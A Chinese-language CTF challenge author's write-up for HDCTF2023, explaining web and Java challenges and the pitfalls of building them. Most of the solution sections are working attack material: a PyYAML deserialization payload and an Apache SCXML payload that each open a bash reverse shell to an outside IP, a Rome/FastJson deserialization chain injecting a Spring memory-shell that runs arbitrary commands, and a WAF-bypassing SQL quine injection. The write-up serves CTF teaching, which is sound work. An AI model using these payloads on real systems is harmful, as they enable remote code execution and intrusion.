前言
这一次是第二次为校赛出题,相较于上一次已经有很多改进,这一次不是作为招新赛而是正规比赛,因此难度也拉高了点(其实还是很简单),在这一次出题过程中也温习了一下旧的知识,并且也踩了很多坑,因此这篇文章就是用来记录踩的坑以及如何解决,还有就是一些感悟的
希望各位师傅玩得愉快
![[VAHCN3X}3{XU97ZJ`2G9N8.jpg](https://cdn.nlark.com/yuque/0/2023/jpeg/32634994/1681299509467-0b50cced-50ad-4943-a6bd-0112b6fc55f9.jpeg#averageHue=%237d6c63&clientId=ucb827f0d-af9a-4&from=paste&height=360&id=ud379f9ea&name=%5BVAHCN3X%7D3%7BXU97ZJ%602G9N8.jpg&originHeight=450&originWidth=436&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=34556&status=done&style=none&taskId=u2e3f3ba6-2e17-4cd0-a76c-be04aab07ec&title=&width=348.8)
—–Boogipop 2023.4.12留
YamiYami
题解
考点:python伪随机数、Pyyaml反序列化、Session伪造、任意文件读取
拿到这一题起手式就是任意文件读取,先看看能读到源码不,然后在输入app.py后发现被过滤了
结合题目给了pwd功能查看当前目录可以知道是利用file协议的双重URL编码绕过
file:///app/app.py
,将里面的app字段用url编码2次就可以读取到源代码
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| import os import re, random, uuid from flask import * from werkzeug.utils import * import yaml from urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = False BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"] app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/') def index(): session['passport'] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a> <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/pwd">pwd</a> ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response'
def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport")=="Welcome To HDCTF2023": LoadedFile=request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__=='__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
|
需要做的事情就2件,伪造Cookie,Yaml反序列化,那么Cookie怎么拿呢?key的种子是由uuid.getnode()
生成的,网上检索一波
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
/sys/class/net/eth0/address
,这个就是网卡的位置,读取他进行伪造即可
之后就是Yaml反序列化:
1 2 3 4 5 6 7 8 9
| !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/114.116.119.253/7777 <&1\"')" - !!python/object/new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list
|
上传之后在进入/boogipop路由触发即可获取shell
出题踩坑
出题的时候想涉及一个任意文件读取,然后从网上参考了一下,但是对面用的是Py2环境,而我用的是py3环境,所以在这里浪费了一点时间
Python3的urllib.request.urlopen
只可以打开url协议的内容,而不能读取app.py
这样的文件内容,所以想要读取文件就使用file协议进行获取,这也刚好和考点结合了一波
还有就是flask的模板文件,也就是html文件所在文件夹,是固定的templates文件夹
JavaMonster
题解
考点:FastJson+Rome 二次反序列化打入SpringBoot高版本内存马
这一题是拿来防AK的,当然对于基础强一点的师傅是难不倒他的,因为实际上思路十分简单,实现起来复杂罢了
首先拿到jar包起手式就是解压分析一波
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package com.ctf.easyjava.controllers;
import com.ctf.easyjava.accounts.User; import com.ctf.easyjava.utils.JwtUtil; import com.ctf.easyjava.utils.MyownObjectInputStream; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*;
import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.util.Base64;
@Controller public class MainController { @RequestMapping("/") public String index(){ return "bouncy"; } @PostMapping("/Flag") public void Flag(User user, HttpServletRequest request, HttpServletResponse response, @RequestParam(required = true) String data) throws IOException, ClassNotFoundException { if(user==null){ user=new User(); String username=user.getUname(); response.getWriter().println("Hello"+username); } Cookie[] cookies = request.getCookies(); String token = cookies[1].getValue(); JwtUtil jwtUtil = new JwtUtil(); String gettoken=jwtUtil.Jwttoken(token); if(!gettoken.equals("Boogipop")){ response.getWriter().println("Need Authorization!"); } else{ byte[] decode = Base64.getDecoder().decode(data); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byteArrayOutputStream.write(decode); MyownObjectInputStream objectInputStream = new MyownObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); String s = objectInputStream.readUTF(); if(!s.equals("Try to solve EasyJava")&&s.hashCode()=="Try to solve EasyJava".hashCode()) { objectInputStream.readObject(); } else { response.getWriter().println("Where is your passport"); } } } }
|
主要路由如上,可以清晰的看到readObject反序列化入口,想要进入反序列化首先需要过几层判断,其实也很简单,一个hashcode绕过一个JWT伪造
JWT算法已经在源码给出,照着造一个就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
|
package com.ctf.easyjava.utils;
import com.auth0.jwt.JWT; import com.auth0.jwt.JWTVerifier; import com.auth0.jwt.algorithms.Algorithm; import com.auth0.jwt.interfaces.Claim; import com.auth0.jwt.interfaces.DecodedJWT; import com.ctf.easyjava.accounts.User; import org.apache.commons.lang3.time.DateUtils;
import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import java.util.Date; import java.util.Map;
public class JwtUtil { public JwtUtil() { }
public String JwtCreate(User user) { String token = JWT.create().withIssuedAt(new Date()).withExpiresAt(DateUtils.addHours(new Date(), 2)).withClaim("username", user.getUname()).sign(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564")); return token; }
public String Jwttoken(String token) { JWTVerifier jwtVerifier = JWT.require(Algorithm.HMAC256("askjdklajsklfas45645asdafa654564")).build(); DecodedJWT jwt = jwtVerifier.verify(token); Map<String, Claim> claims = jwt.getClaims(); Claim claim = (Claim)claims.get("username"); return claim.asString(); }
public static void main(String[] args) throws UnsupportedEncodingException { JwtUtil jwtUtil = new JwtUtil(); User user = new User("admin", "123"); String token = jwtUtil.JwtCreate(user); System.out.println(token); System.out.println(jwtUtil.Jwttoken(token)); } }
|
我甚至贴心的给上了main方法,方便复制粘贴直接食用,那么怎么反序列化打呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package com.ctf.easyjava.utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.ToStringBean; import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.util.*;
public class MyownObjectInputStream extends ObjectInputStream{ private ArrayList Blacklist=new ArrayList(); public MyownObjectInputStream(InputStream in) throws IOException { super(in); this.Blacklist.add(Hashtable.class.getName()); this.Blacklist.add(HashSet.class.getName()); this.Blacklist.add(JdbcRowSetImpl.class.getName()); this.Blacklist.add(TreeMap.class.getName()); this.Blacklist.add(HotSwappableTargetSource.class.getName()); this.Blacklist.add(XString.class.getName()); this.Blacklist.add(BadAttributeValueExpException.class.getName()); this.Blacklist.add(TemplatesImpl.class.getName()); this.Blacklist.add(ToStringBean.class.getName()); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (this.Blacklist.contains(desc.getName())) { throw new InvalidClassException("dont do this"); } else { return super.resolveClass(desc); }
} }
|
首先输入流我是加了很多黑名单处理了,然后审视依赖包,发现了ROME和FastJson依赖,并且都是比较低的版本,因此入口点肯定在这里
Rome和FastJson都是触发任意getter的,而且对于Rome,它自己单独就可以打出完整的一条链,但是我这里把一些类ban了,比如ToStringBean和Hotswapper、Xstring、BadAttribute,等等,那么Rome链从toString那里就断掉了,所以我们得凑上,这时候就知道还有个fastjson了,fastjson的toString也是可以触发任意getter的,这样链子就凑上去了,Then?
别忘了我把TemplatesImpl和JdbcRowImpl也ban了,那这下怎么ban呢?思路卡在了getter方法上,没了这两个理论上是几乎没啥办法继续走下去了,因此这里就涉及到了第二个知识点二次反序列化
记得SignObject这个类不,他的getObject方法里面有一个原生的readObject可以打二次反序列化,然后还有一个点就是,题目给的提示是不出网
,那我们就只能打内存马了。但是,实际上你是打不了SignObject的,因为它会报错,SignOBject的getObject方法是Protected属性,因此fastjson去调用的时候会报错,结果中断,但是没关系,我准备了一个替代品HDCTF
其中的getFlag作用一样,因此更简单了
那最终思路就是Rome->FastJson->HDCTF->MemShell
并且通过Jar包可以发现是个高版本的SpringBoot,那么内存马就得改改了,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| package com.ctf.easyjava.test;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class InjectToController extends AbstractTranslet {
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = InjectToController.class.getMethod("test"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = RequestMappingInfo.paths("/shell") .options(config) .build(); InjectToController springControllerMemShell = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public InjectToController(String aaa) {}
public void test() throws IOException{ HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ response.sendError(404); } }catch (Exception e){} }
}
|
然后反序列化的利用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| void exp() throws Exception {
byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\HDCTF2023\\EasyJava\\EasyJava\\target\\classes\\com\\ctf\\easyjava\\test\\exp.class")); byte[][] codes={code}; TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", codes); setFieldValue(templatesImpl, "_name", "a"); setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl); ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean); HashMap hashMap = new HashMap(); hashMap.put(objectBean, "x");
setFieldValue(objectBean, "_cloneableBean", null); setFieldValue(objectBean, "_toStringBean", null); HDCTF hdctf = new HDCTF(hashMap); JSONObject jo = new JSONObject(); jo.put("1",hdctf); ObjectBean objectBean2 = new ObjectBean(JSONObject.class, jo); HashMap hashMap2 = new HashMap(); hashMap2.put(objectBean2, "x");
setFieldValue(objectBean2, "_cloneableBean", null); setFieldValue(objectBean2, "_toStringBean", null);
ByteArrayOutputStream bs = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bs); out.writeUTF("Try to solve Easxiava"); out.writeObject(hashMap2); Base64Encode(bs); }
|
运行获得Base64编码,然后打入:
结束
踩坑记录与总结
loadClass
我一开始是怎么想的呢,想来个SpringBoot3.x超高版本反序列化打内存马,但是现实狠狠的打了我一巴掌,一开始我是想着用Templates去打内存马,结果由于Java17反射调用被ban的太严重了!然后我转变思路,自己造一个Templates,结果就在defineclass实例化的时候就遇到了个问题
loadclass的时候会出现NoClassDefFound
异常错误,这东西网上搜了一圈怎么搜的搜不对,然后最后返璞归真回到了学反序列化链子那里,发现一个傻逼的问题,就是假如想loadclass必须规范,你假如带了package包名,那所在位置就非常讲究,所以我们就不该创建maven项目,就该来一个普通的java项目,没有package在最顶上
那么就会load成功,所以这么一来出题的想法就错了,所以就转换到稍微高一点(边界上)的版本
二次反序列化
然后打二次反序列化,然后一开始我自己也是用SignObject的,结果给我抛错,说getObject方法是protected类型的,不能修改,思考了一下发现是FastJson会在调用getter的时候将修改些东西,结果导致抛错。。。。。和隔壁rome链不一样(当然假如有哪个师傅绕过了当我没说,我没深究)
内存马
第三个坑是内存马,我就普普通通的造内存马,然后打进去也没报错,最后发现一个细节
这里用的是有参方法的,假如调用无参构造,因为本身就是无参构造
会进入一个死循环,所以就寄了,打不进去内存马,这一点就很狗血,所以这一点得改一下
BabyJXvX
考点:Apache SCXML2 RCE
这个没踩什么坑,在ctfiot上也可以搜到一篇文章,前阵子被拿去考了,ban了script标签,所以这里进行了深入的挖掘,看了看别的payload,发现payload还挺多,随便挑一个奇怪的拿来考
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> <final id="run"> <onexit> <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}')"/> </onexit> </final> </scxml>
|
直接放payload了,不浪费时间。。
这一题主要是需要选手们自己调试跟踪进去发现payload,算是锻炼动手能力了
Apache SCXML2 RCE分析
但是看到选手们都是问chatgpt,机械飞升,被拷打了!
SearchMaster
考了一个Smarty 4.1.0的CVE,这个考检索能力,搜出来就可以了,搜不出来就等死
然后发现题目出的可能有点问题,有好多payload都可以,铸币了
HardWeb
签到题,在js里找flag
LoginMaster
首先是Robots.txt泄露,会泄露waf
1 2 3 4 5 6 7 8 9 10
| function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php');
|
SQL的Uquine注入,需要让输入和输出的结果一样
首先是可以用benchmark进行延时注入的,然后会发现password为空,结合waf就可以想到让unique注入了
payload:password=1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#
结尾说明
到这里就没啥了,东西也不多,好菜的我,希望各位师傅轻点打